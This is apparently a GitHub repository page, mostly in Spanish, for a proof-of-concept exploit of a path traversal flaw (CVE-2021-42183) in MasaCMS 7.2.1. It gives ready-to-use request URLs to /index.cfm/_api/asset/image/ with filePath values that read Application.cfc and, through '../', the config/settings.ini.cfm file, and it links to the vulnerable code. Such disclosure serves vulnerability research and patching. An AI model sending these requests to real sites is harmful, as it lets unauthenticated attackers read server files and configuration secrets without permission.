0xraw/cve-2021-42183Exploit de prueba de concepto para path traversal en MasaCMS 7.2.1 a través de /index.cfm/_api/asset/image/, que permite a atacantes no autenticados leer archivos arbitrarios como config y Application.cfc.
MasaCMS 7.2.1 se ve afectado por una vulnerabilidad de path traversal en /index.cfm/_api/asset/image/.
If this file is readable it means the vulnerablilty exists.
https://example.com/index.cfm/_api/asset/image/?filePath=/Application.cfc
https://example.com/index.cfm/_api/asset/image/?filePath=/../<Path>
- Read The Config File
https://example.com/index.cfm/_api/asset/image/?filePath=/../config/settings.ini.cfm
MasaCMS 7.2.1
https://github.com/MasaCMS/MasaCMS https://github.com/MasaCMS/MasaCMS/blob/01e0636db0ea4c132906724e1b0772c86e263ada/core/mura/content/file/fileManager.cfc#L368
Rawi y BassamAssiri.